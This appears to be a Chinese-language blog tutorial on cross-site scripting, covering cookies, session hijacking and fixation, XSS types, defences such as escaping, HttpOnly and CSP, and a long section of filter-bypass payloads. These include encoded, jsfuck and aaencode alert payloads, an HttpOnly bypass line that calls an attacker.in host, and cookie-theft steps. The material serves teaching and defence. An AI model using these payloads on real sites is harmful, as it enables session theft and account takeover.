XSS(Cross-Site script)跨站脚本攻击。
XSS最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。
是一种经常出现再web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不严而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。
1. 基础知识
1.1 Session
服务器使用Session将用户身份信息临时保存在服务器上,用户离开网站后Session会被销毁。客户端使用Cookie保存SessionID。这种对用户身份信息存储的方式相对于Cookie来说,比较安全。
1.2 Cookie
Cookie分为内存Cookie(临时型Cookie)和硬盘Cookie,内存Cookie储存在浏览器内存中,关闭浏览器则消失;硬盘Cookie以文本形式存储在硬盘上,由浏览器存取。Cookie由变量名与值组成,其属性里有标准的Cookie变量,也有用户自定义的属性。
cookie格式:Set-Cookie:=[;=][;expiress=][;domain=][;path=][;secure][;httponly]
cookie各个参数详细内容:
- Set-Cookie:http响应头,向客户端发送Cookie。
- Name=value:每个Cookie必须包含的内容。
- Expires=date:EXpires确定了Cookie的有效终止日期,可选。如果缺省,则Cookie不保存在硬盘中,只保存在浏览器内存中。
- Domain=domain-name:确定了哪些inernet域中的web服务器可读取浏览器储存的Cookie,缺省为该web服务器域名。
- Path=path:定义了web服务器哪些路径下的页面可获取服务器发送的Cookie。
- Secure:在Cookie中标记该变量,表明只有为https通信协议时,浏览器才向服务器提交cookie。
- Httponly:禁止javascript读取,如果Cookie中的一个参数带有httponly,则这个参数将不能被javascript获取;httponly可以防止xss会话劫持攻击。
1.3 会话劫持
1.3.1 普通攻击步骤
1.目标用户登录站点
2.登录成功后,该用户会得到站点提供的一个会话标识SessionID
3.攻击者通过某种攻击手段捕获Session ID
4.攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话
1.3.2 获取SessionID的方式有多种
1.暴力破解:尝试各种Session ID,直到破解为止
2.预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来
3.窃取:使用网络嗅探(cain、ettercap),XSS攻击等方法获得
1.4 会话固定
会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。
1.4.1 攻击步骤
1.攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;
2.目标用户携带攻击者设定的Session ID登录站点;
3.攻击者通过Session ID获得合法会话
1.5 攻击者重置SessionID的方式
重置Session ID的方法同样也有多种,可以是跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击.使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。
1.使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
2.使用HTML的\标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加\标签来设置Cookie。例如,与客户端脚本相比,对\标签的处理目前还不能被浏览器禁止。
3.使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。
1.6 会话劫持防御方法
1.用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。
2.大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。
3.更改session的名称:session的默认名称是PHPSESSID,此变量会保存在cookie中,如果黑客不抓包分析,就不能猜到这个名称,阻挡部分攻击。
1.7 JavaScript 事件
事件 | 描述 |
---|---|
onabort | 图像加载被中断 |
onblur | 元素失去焦点 |
onchange | 用户改变域的内容 |
onclick | 鼠标单击HTML元素 |
ondblclick | 鼠标双击HTML对象 |
onerror | d当加载文档或图像时发生某个错误 |
onmouseover | 用户再一个HTML元素上移动鼠标 |
onmouseout | 用户从一个HTML元素上移开鼠标 |
onkeydown | 某个键盘的键被按下 |
onkeypress | 某个键盘的键被按下或按住 |
onkeyup | 某个键盘的键被松开 |
onload | 浏览器已完成页面的加载 |
onmousedown | 某个鼠标按键被按下 |
onmousemove | 鼠标被移动 |
onmouseup | 某个鼠标按键被松开 |
onreset | 重置按钮被点击 |
onresize | 窗口或框架被调整尺寸 |
onselect | 文本被选定 |
onsubmit | 提交按钮被点击 |
onunload | 用户退出页面 |
2. XSS分类
2.1 反射型XSS
反射型跨站脚本也称作非持久型、参数型跨站脚本。这类型的脚本是最常见的,也是使用最为广泛的一种,主要用于将恶意的脚本附加到URL地址的参数中。
一般使用的将构造好的URL发给受害者,受害者点击触发,而且只执行一次,非持久化。
2.2 存储型XSS
存储型XSS比反射型跨站脚本更具威胁性,并且可能影响到web服务器的自身安全。
此类XSS不需要用户点击特定的URL就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。
2.3 DOM型XSS
简单去理解就是因为他输出点在DOM,将用户提交的参数(恶意代码)拿过来拼接HTML代码,利用可编辑的文档对象去自动生成HTML代码,让浏览器解析,达到攻击的目的
利用思想:
1.在标签内部构造出恶意代码
2.标签闭合 让恶意代码逃逸出来
注意:无论反射型还是存储型,都是需要与服务端交互的,即服务端将提交的内容反馈到了html源码内,导致触发xss,也就是说返回到html源码中可以看到触发xss的代码;而DOM型xss是不与服务端交互的,只与客户端上的js交互,也就是说提交的恶意代码,被放到了js中执行,然后显示出来。那么这种形式有一个问题,就是html源码里面不存在触发xss的代码,因为服务端返回的源码都是一样的,只不过源码里面包含了一段js,这段js再执行后生成了一段xss代码,可以在审查元素中查看到。
From:浅谈跨站脚本攻击与防御
3. 漏洞挖掘
3.1 FireFox中常用XSS调试插件
Hackbar、Firebug、Tamper Data、Live HTTP Headers、Editor Cookie
3.2 手工挖掘
闭合标签
1 | <script>alert(1)</script> |
3.2.1 数据交互的地方
登录、留言板、评论、搜索
测试用户输入的地方、文件上传的地方、flash
3.3 工具挖掘
awvs、netsparke、appscan、burp、xsser、xsscrapy、brutexssr、OWASP Xenotix
4. XSS的危害
1.网络钓鱼,包括盗取各类的用户账号
2.窃取用户cookie
3.窃取用户浏览会话
4.强制弹出广告页面、刷流量
5.网页挂马
6.提升用户权限,进一步渗透网站
7.传播跨站脚本蠕虫
5. 防御XSS
5.1 转义
htmlspecialchars()函数把一些预定义的字符转换为HTML实体。
预定义字符:
1 | & (和号)成为 & |
5.2 HTTPOnly
HTTPOnly是指仅在HTTP层面上传输Cookie,当设置HTTPOnly标志后,客户端脚本就无法读写该Cookie。
在php.ini中设置
1 | session.cookie_httponly = |
Cookie操作函数setcookie函数和setrawcookie函数也专门添加了第7个参数来做为HttpOnly的选项,开启方法为:
1 | <?php |
HTTPOnly绕过
1.PHPinfo信息
phpinfo页面可以包含Cookie信息,同样存在HTTPOnly Cookie
2.支持TRACE方法的服务器
Apache支持的一个Header是TRACE,TRACE一般是用于调试,他会将请求头作为HTTP Response Body返回。利用这个特性,可以把HttpOnly Cookie读出来。不过目前各厂商已经禁止通过Ajax发送TRACE请求。
3.Django等一些web框架的调试页面
开启了调试模式的一些框架,会将程序的信息输出,其中就有Cookie信息。
4.CVE-3009-0357
Firefox <= 1.9.1在处理HttpOnly Cookies时存在bug,通过getResponseHeader()得不到HttpOnly Cookie,但是通过getAllResponseHeaders()可以得到。
5.Java getHeaderField
1 | alert(new java.net.URL('http://attacker.in/xss/cookie.php').openConnection().getHeaderField('set-cookie')); |
5.3 输入过滤
(1)验证输入
比如一个输入框,需要我们输入电话号码,电话号码必须是数字格式,有一定的长度,可以使用正则匹配 reg = /^020-\d{8}$/
常见的检测和过滤:
输入是否仅仅包含合法的字符
输入字符串是否超过最大限度
输入如果为数字,数字是否在指定的范围内 pentest@163.com—>规则
输入是否符合特殊格式要求,如E-mail地址、IP地址等
(2)采用黑名单过滤敏感字符
1 | < > ' " & # javascript expression a img script |
注意,对用户输入的数据,不能仅仅在客户端使用JS进行验证,需要在服务器端进行验证检测。
5.4 输出过滤
对html字符,比如<>&”等进行编码和转义
很多程序语言退出相应的程序库,可以协助程序开发者针对html输出,如ASP的Server.HTMLEncode()函数、ASP.NET的Server.HtmlEncode()函数、PHP的htmlspecialchars()函数
5.5 限制标签使用
控制用户可以使用的标签,只能使用一些安全的标签,如\、\
5.6 防XSS代码
1 | $x=preg_replace("/script/i","",$x); |
5.7 内容安全策略
Content Security Policy, CSP
内容安全策略是防御XSS攻击的一种安全机制,其思想是以服务器白名单的形式来配置可信的内容来源,客户端Web应用代码可以使用这些安全来源。Cisco研究人员找到了绕过CSP的一种方法,攻击者可以利用这种方法,注入被禁止的代码,从而窃取隐私数据。
6. 综合利用
6.1 Cookie获取
6.1.1 反射型XSS的Cookie获取
将XSS发送给登录用户,使其点击
将URL写在图片中,更加隐蔽
1 | <img src="URL"> |
6.1.2 存储型XSS的Cookie获取
留言板 闭合文本域
6.1.3 HTTP-Only启用时获取Cookie
JavaScript代码
接受PHP
6.1.4 编写接收Cookie代码
1 | <script> |
6.2 上传型xss
1 | <script>alert(/xss/)</script>.jpg |
访问图片时会触发,需要闭合标签
6.3 通过XSS留后门
在管理页面中插入xss获取cookie,每次管理员登录都可以获取cookie
需要获得webshell
7. Payload
1 | 1' onclick=alert(1) // |
8. XSS Payload绕过
8.1 大小写
1 | <ScRiPt>alert(/xss/)</ScRiPt> |
8.2 重复写
1 | <scr<script>ipt> |
8.3 使用javascript伪协议
1 | <img src="javascritp:alert(/xss/);"> |
8.4 使用空格、回车、tab
1 | <img src="javas |
8.5 双引号改单引号
1 | <img src='javascript:alert(/xss/);'> |
8.6 利用JavaScript事件
1 | <img src=x onmouseover="alert(/xss)"> |
8.7 拆分
1 | <script>z='document.'</script> |
8.8 css中构造XSS Payload
1 | <div style="list-style-image:url(javascript:alert('/xss/'))"> |
8.9 字符编码
8.9.1 URL编码
1 | %3Cimg%20src%3Dx%20onerror%3Dalert(/xss/)%3e |
8.9.2 HTML实体编码
1 | < > |
8.9.3 Hex
配合eval()使用
1 | <img src=x onerror=eval("\x61\x6C\x65\x72\x74\x28\x2F\x78\x73\x73\x2F\x29")> |
8.9.4 十进制
Ascii码配合String.fromCharCode())使用
1 | <script>eval(String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41))</script> |
8.9.5 八进制
1 | <img src=x onerror=eval("\141\154\145\162\164\50\57\170\163\163\57\51")> |
8.9.6 Unicode
1 | <img src=x onerror=eval("\u0061\u006C\u0065\u0072\u0074\u0028\u002F\u0078\u0073\u0073\u002F\u0029")> |
8.9.7 jsfuck
alert(/xss/)
1 | [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])() |
8.9.8 aaencode
alert(/xss/)
1 | ゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_'); |
9. XSS练习
10. XSS平台
BeEF
XSS Exploit 框架 Xenotix
BlueLotus
XSS_Platform
XSSer
XSSpt
11. 参考
[1] 浅谈跨站脚本攻击与防御
[2] 跨站的艺术-XSS入门与介绍
[3] aaencode demo